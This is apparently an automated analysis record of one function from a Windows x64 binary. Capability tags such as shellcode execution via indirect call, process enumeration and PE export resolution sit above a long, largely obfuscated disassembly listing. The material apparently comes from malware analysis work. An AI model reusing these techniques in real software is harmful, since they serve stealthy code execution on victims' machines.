Function at 0x140016960
Capabilities:
Connect pipe
Encode data using base64
Enumerate process modules
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
call qword [sym.imp.KERNEL32.dll_K32EnumProcesses]
test eax, eax
je fcn.140002c00
mov ecx, dword [rbp + 0x380]
shr ecx, 2
mov dword [rbp + 0x380], ecx
test ecx, ecx
je fcn.140002c00
mov eax, edi
mov r9d, 1
mov ecx, dword [rbx + rax*4]
call fcn.1400010c0
inc edi
cmp edi, dword [rbp + 0x380]
jb 0x14000289f
jmp fcn.140002c00
je 0x14004e9d0
or cl, cl
add qword [rsp + r8 + 0x30], 0xffffffffbfff7044
add qword [rsp + r8*8 + 8], 0xffffffffbffedd9d
lea rdx, [rdx + rcx + 0x4a9dfc9c]
or r8w, cx
shl rcx, 0x92
push r15
sub byte [rsp + r8*2 - 0x1fe0], 0x9b
ja 0x1400e69c1
sub byte [rsp + rcx - 0x3fffffd8], cl
xchg qword [rsp + r8 - 0xfc0], rdx
mov r8, qword [rsp + r8*2 - 0x1fd0]
mov r15, qword [rsp + rcx - 0x3fffffd8]
neg r15b
jbe 0x140068106
call fcn.14007d6e4
push rcx
movabs rcx, 0x318f66a61e0f0005
push rbx
mov rbp, qword [rsp + 0x28]
mov rbx, rcx
push 0xffffffffc1bf1031
cmp word [rsp], 0x631e
mov dword [rsp], 0x7bbee493
push rdi
jl 0x14005d04c
lea rdx, [rdx + 1]
or word [rsp + 0x18], r8w
shr dword [rsp + 0x18], 0x99
jns 0x14007e597
xor r8w, 0x4f8a
mov qword [rsp + 0x38], rdx
ja 0x14008aac0
mov r11, r12
movabs r14, 0x1185f2be143af7b4
setge r11b
add qword [rsp + 0x28], 0xfffffffffffea14b
bswap r14d
add qword [rsp + r11 + 0x2791eb17], 0xffffffffbffa7ba7
xor r12, 0xffffffffca9f6b10
movabs rax, 0xcd876192211458b9
jo 0x1400e4308
shl r11w, 0xae
ja 0x1400b8106
movabs rsi, 0x510ca83e781c7daa
test sil, sil
call fcn.1400b249f
invalid
push rax
sahf
shl rcx, 6
not esi
lea rbp, [rbp + 1]
mov rdi, rcx
push r14
shl cx, 0xa1
push r9
call fcn.1400a5768
cmp byte [rbp - 0x7714d303], 0xef
stosb byte [rdi], al
xor eax, 0x924a1e0e
scasd eax, dword [rdi]
js 0x14005d04a
ja 0x14005d059
pop rbx
jmp 0x129f1acec
setae byte [rsp + 0x28]
ja 0x1400bdc5b
mov r15, qword [rsp + rcx - 0x40000000]
call fcn.1400ac567
je 0x140012263
pop rcx
call fcn.1400caa2f
add qword [rsp + 8], 0x637cb
mov rbp, qword [rsp + 0x28]
movzx esi, byte [rsp + 0x2b]
sub bpl, byte [rsp + 0x2c]
or esi, ebp
shl rsi, 0x65
xor rsi, 0xffffffffcc36329b
push r12
neg esi
mov rbp, qword [rsp + rsi*2 - 0x67939aba]
mov rbp, qword [rbp + rsi - 0x33c9cd65]
cmp esi, dword [rsp + rsi*2 - 0x67939a97]
movabs r12, 0x20963b132815ed11
movabs rsi, 0x9412c4bf3427bd3e
mov sil, 0x28
mov sil, byte [rsp + 0x36]
mov qword [rsp + 0x10], rsi
jno 0x1400adf08
xor r8d, dword [rsp + 0x19]
add word [rsp + 0x18], 0x2f9c
not word [rsp + 0x18]
shr r8d, 0x53
push rcx
add qword [rsp + 0x18], 0x1467e
mov rcx, r8
or byte [rsp + r8*4 - 0x3fe4], 0x31
sub cl, r8b
xor r8w, r8w
mov rdx, qword [rsp + r8 + 0x18]
mov rdx, qword [rdx + rcx*2 - 0x2000]
mov qword [rsp + rcx*8 - 0x7fe8], r8
cmp rcx, r8
jg 0x140007b9a
shl r14w, 0xe5
nop
add qword [rsp + 0x10], 0x72000
not r9w
test r9, 0xffffffff95019329
jae 0x1400b8f89
lea rbp, [rbp - 0x6d7372e2]
neg rsi
and word [rsp + 0x30], si
shr qword [rsp + 0x10], 0x82
call fcn.14005cb04
in eax, dx
add rax, 0xffffffffdd42e2dc
push rdi
mov r8b, 0x27
add ebp, ebx
ja 0x1400adf8d
fcomp qword [rdx + 0x26]
mov ebp, 0x1f39dd2b
invalid
cmp dword [rbp - 0x6b], edi
insb byte [rdi], dx
push rdi
rcr esp, 0x46
add ecx, dword [rbx]
invalid
test word [rsp + 0x29], si
jns 0x1400832f0
popfq
lea rsp, [rsp + 0x10]
call fcn.1400eb236
add r12b, 0xaf
mov eax, r14d
mov rax, qword [rsp + r11*2 + 0x4f238028]
mov rax, qword [rax + r12*4 - 0x4bc5f8a0]
mov qword [rsp + 0x28], r11
add dword [rsp + r12 - 0x12f17e00], 0x3907cca9
setg byte [rsp + 0x28]
or r14w, 0x2a2
call fcn.14004b7c1
mov rdi, qword [rsp + 0x30]
shl dword [rsp + 0x48], 0x6d
cmp byte [rsp + 0x28], 0x34
not byte [rsp + 0x60]
jae 0x1400e11f3
mov dword [rsp + 0x48], 0xde39f51b
add dword [rsp + 0x28], 0x6123c6bd
push qword [rsp + 0x40]
popfq
lea rsp, [rsp + 0x68]
ret
movabs rax, 0x311084b1fc8ce390
mov rax, qword [rsp + 8]
mov rax, qword [rax]
bswap r14
add r9d, r14d
call fcn.1400a165b
add qword [rsp + 0x10], 0x10799
push rcx
and ecx, dword [rsp + 1]
push rbp
push r10
call fcn.1400acc87
call fcn.1400847a1
and r14, 0xffffffff9916292a
shl r9w, 0xea
cmovs r14w, r9w
add r9, 0x5d942285
jno 0x1400914e6
js 0x140009618
shl r14d, cl
add qword [rsp + 0x20], 0x75d4e
add qword [rsp + rcx*8 - 0x71a45fe0], 0xffffffffbff19ddb
push r9
mov r9, rbx
push rdx
call fcn.1400e22e0
js 0x1400b367f
not si
setge r9b
je 0x1400e5e93
call fcn.140007947
setl byte [rsp + r14*2 + 0x2e4c]
call fcn.1400873b3
sal edx, 1
invalid
mov qword [rsp + 8], 0x60ae94bd
lea rsp, [rsp + 8]
call fcn.1400eb236
or byte [rax - 0x2c681fd7], dh
mov edx, 0xb78f0fa8
jg 0x140008416
push rax
push r13
movabs r13, 0x87a42d8dd3335b26
pushfq
add r13w, 0xa214
test r13, 0x7e0cc9a3
jo 0x140016960
not r13w
mov rax, qword [rsp + 0x18]
and r13, 0xffffffffc011743a
shl r13b, 0x63
call fcn.140078e72
outsd dx, dword [rsi]
mov ebp, 0x1622be82
stosb byte [rdi], al
or dh, bl
enter 0x4b77, 0xffffffffffffffcf
cli
out dx, al
invalid
jns 0x14000287a
nop
call fcn.14001d5ef
jne fcn.1400caa8a
jb 0x1400c24fa
neg byte [rsp]
mov r9, qword [rsp + 0x18]
mov qword [rsp + 0x10], 0xffffffffb289beb0
and byte [rsp + 0x10], 3
or si, 0x6389
test qword [rsp + 0x10], 0x1681d988
not byte [rsp + 0x20]
call fcn.140055444
popfq
lea rsp, [rsp + 0x18]
ret